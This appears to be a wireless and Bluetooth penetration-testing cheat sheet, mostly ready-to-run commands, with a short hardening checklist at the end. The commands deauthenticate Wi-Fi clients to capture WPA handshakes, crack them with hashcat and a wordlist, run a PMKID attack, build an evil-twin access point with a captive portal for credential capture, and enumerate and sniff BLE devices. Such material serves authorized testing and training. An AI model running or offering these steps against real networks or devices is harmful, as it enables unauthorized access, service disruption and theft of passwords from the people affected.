# Enable monitor mode
sudo airmon-ng check kill  # Kill interfering processes
sudo airmon-ng start wlan0

# Scan all channels
sudo airodump-ng wlan0mon

# Target specific network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Identify security:
# OPN = Open (no encryption)
# WEP = Wired Equivalent Privacy (trivially broken)
# WPA/WPA2-PSK = Pre-shared key (dictionary attackable)
# WPA2-Enterprise = 802.1X/RADIUS (more secure)
# WPA3-SAE = Simultaneous Authentication of Equals (strongest)

# Capture 4-way handshake
sudo airodump-ng -c 6 --bssid $BSSID -w handshake wlan0mon
# In parallel, deauth a client to force reconnection:
sudo aireplay-ng -0 3 -a $BSSID -c $CLIENT_MAC wlan0mon

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 handshake-01.cap

# Crack with hashcat
hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule

# PMKID attack (no client needed)
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng \
  --filterlist_ap=$BSSID --filtermode=2
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 pmkid.hc22000 rockyou.txt

# Create evil twin with hostapd-mana
cat > evil.conf << EOF
interface=wlan1
driver=nl80211
ssid=TargetNetwork
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=captiveportal
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
EOF

# With captive portal for credential capture
# Combine with dnsmasq for DHCP + DNS redirect
# All HTTP traffic redirected to credential capture page

# BLE device scanning
sudo hcitool lescan
# OR
sudo bluetoothctl
> scan on

# BLE GATT enumeration
gatttool -b $BLE_ADDR -I
> connect
> primary        # List services
> characteristics  # List characteristics
> char-read-hnd 0x000e  # Read value

# BLE sniffing
sudo btlejack -d $BLE_ADDR  # Sniff BLE connection

# Common BLE vulnerabilities:
# - Unencrypted GATT characteristics (read/write sensitive data)
# - No authentication required for pairing
# - Static keys / Just Works pairing
# - Firmware update over BLE without signature verification

Hardening checklist:
├── WPA3-SAE for personal networks (WPA2 minimum with strong PSK)
├── WPA3-Enterprise (192-bit) for corporate
├── 802.1X/RADIUS with certificate-based auth (EAP-TLS)
├── Disable WPS (Wi-Fi Protected Setup)
├── MAC filtering (defense in depth only, not primary control)
├── SSID: Don't hide (breaks security), use descriptive names
├── Guest network: Isolated VLAN, client isolation, bandwidth limit
├── Wireless IDS (Kismet, Cisco CleanAir): Rogue AP detection
├── AP firmware: Keep updated, disable unused services
└── RF shielding: Limit signal leakage outside building